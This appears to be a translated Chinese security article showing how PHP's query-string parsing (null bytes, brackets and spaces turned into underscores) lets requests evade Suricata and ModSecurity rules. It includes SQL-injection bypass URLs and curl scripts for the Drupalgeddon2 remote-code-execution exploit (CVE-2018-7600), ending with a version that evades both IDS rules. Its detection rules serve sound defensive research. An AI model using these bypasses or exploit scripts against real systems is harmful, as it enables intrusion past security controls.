利用PHP的字符串解析特性Bypass

我們知道PHP將查詢字符串（在URL或正文中）轉換為內部$GET或的關聯數組$POST。例如：/?foo=bar變成Array([foo] => "bar")。值得注意的是，查詢字符串在解析的過程中會將某些字符刪除或用下劃線代替。例如，/?%20news[id%00=42會轉換為Array([newsid] => 42)。如果一個IDS/IPS或WAF中有一條規則是當newsid參數的值是一個非數字的值則攔截，那麼我們就可以用以下語句繞過：

/news.php?%20news[id%00=42"+AND+1=0--
上述PHP語句的參數%20news[id%00的值將存儲到$GET["newsid"]中。
HP需要將所有參數轉換為有效的變量名，因此在解析查詢字符串時，它會做兩件事：
1.刪除空白符
2.將某些字符轉換為下劃線（包括空格）
例如：
User inputDecoded PHPvariable name%20foo_bar%00foo_barfoo_barfoo%20bar%00foo barfoo_barfoo%5bbarfoo[barfoo_bar
通過以下這個示例，你可以更直觀的看到parser_str函數如何處理字符串：
<?php    foreach(        [            "{chr}foo_bar",            "foo{chr}bar",            "foo_bar{chr}"        ] as $k => $arg) {            for($i=0;$i<=255;$i++) {                echo "\033[999D\033[K\r";                echo "[".$arg."] check ".bin2hex(chr($i))."";                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);                                usleep(5000);                if(isset($o["foo_bar"])) {                    echo "\033[999D\033[K\r";                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";                }            }            echo "\033[999D\033[K\r";            echo "\n";    }
parse_str函數通常被自動應用於get、post請求和cookie中。如果你的Web伺服器接受帶有特殊字符的參數名，那麼也會發生類似的情況。如上代碼所示，我進行了多次循環，枚舉了參數名三個位置的0到255之間的所有字符，看看解析函數到底是如何處理這些特殊字符的。結果如下：
1.[1st]foo_bar
2.foo[2nd]bar
3.foo_bar[3rd]
在上述方案中，foo%20bar和foo+bar等效，均解析為foo bar。
Suricata
也許你也聽過這款軟體，Suricata是一個「開源、成熟、快速、強大的網絡威脅檢測引擎」，它的引擎能夠進行實時入侵檢測（IDS）、入侵防禦系統（IPS）、網絡安全監控（NSM）和離線流量包處理。
在Suricata中你可以自定義一個HTTP流量的檢測規則。假設你有這樣一個規則：
alert http any any -> $HOME_NET any (\    msg: "Block SQLi"; flow:established,to_server;\    content: "POST"; http_method;\    pcre: "/news_id=[^0-9]+/Pi";\    sid:1234567;\)
簡單來說，上述規則會檢查news_id的值是否是數字。那麼根據上述知識，我們可以很容易的繞過防禦，如下所示：
/?news[id=1%22+AND+1=1--'/?news%5bid=1%22+AND+1=1--'/?news_id%00=1%22+AND+1=1--'
通過在Google和Github上進行搜索，我發現有很多關於Suricata規則可以通過替換下劃線或插入空字符來繞過。一個真實的例子：https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)
上述規則可以通過以下方式繞過：
/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00
當然，這條規則交換參數位置即可繞過，比如：
/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1
WAF（ModSecurity）
此外，PHP查詢字符串的解析特性也可用以繞過WAF。想像一下,它的規則類似於SecRule !ARGS:news_id "@rx ^[0-9]+$" "block"，這顯然可以通過相同的手段繞過。幸運的是，在ModSecurity中，可以通過正則表達式指定查詢字符串中的參數。比如：
SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"
以上規則將攔截諸如以下的請求：
⛔️/?news[id=1%22+AND+1=1--'⛔️/?news%5bid=1%22+AND+1=1--'⛔️/?news_id%00=1%22+AND+1=1--'
PoC || GTFO
讓我們用Suricata和Drupal CMS創建一個以利用CVE-2018-7600（Drupalgeddon2遠程執行代碼）的簡單PoC。為了簡單起見，我將在兩個Docker容器上運行Suricata和Drupal，並嘗試繞過Suricata攻擊Drupal。
我將使用兩條Suricata防禦規則：
1.一條自定義規則攔截formid=userregister_form
2.另一條是關於CVE-2018-7600的通用規則
Suricata官方安裝流程點擊[這裡](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/UbuntuInstallation-PersonalPackageArchives(PPA)。對於Drupal，我運行了一個Vulhub容器，你可以在這裡下載：
首先，讓我們嘗試利用CVE-2018-7600。一個利用curl命令的小型bash腳本，比如：
#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
如你所見，上面的腳本將執行命令id：
現在，讓我們嘗試往Suricata導入以下兩條規則：我編寫了第一個規則，它只是嘗試formid=userregisterform在請求體內進行匹配; Positive Technology /user/register在請求URL和#postrender請求正文中寫了第二個匹配項。我的規則：
alert http any any -> $HOME_NET any (\  msg: "Possible Drupalgeddon2 attack";\  flow: established, to_server;\  content: "/user/register"; http_uri;\  content: "POST"; http_method;\  pcre: "/form_id=user_register_form/Pi";\  sid: 10002807;\  rev: 1;\)
通用規則：
alert http any any -> $HOME_NET any (\  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \  flow: established, to_server; \  content: "/user/register"; http_uri; \  content: "POST"; http_method; \  content: "drupal"; http_client_body; \  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \  reference: cve, 2018-7600; \  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \  classtype: attempted-admin; \  reference: url, github.com/ptresearch/AttackDetection; \  metadata: Open Ptsecurity.com ruleset; \  sid: 10002808; \  rev: 2; \)
在重啟Suricata後，我的攻擊被成功報警：
可以看到，我們得到了兩條日誌：
1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080
Bypass！
這兩條規則其實都很容易繞過。首先，對於敏感欄位formid=userregister_form，我們可將其替換為如下內容：
form%5bid=user_register_form
如上圖所見，現在只有通用規則的警報。分析通用規則的正則表達式，我們可以看到它對#和%23敏感，但不涉及下劃線的編碼。因此，我們可以使用post%5frender代替post_render來繞過：
最後得出可繞過兩個規則的PoC：
#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"
*參考來源：secjuice，FB小編周大濤編譯，轉載請註明來自FreeBuf.COM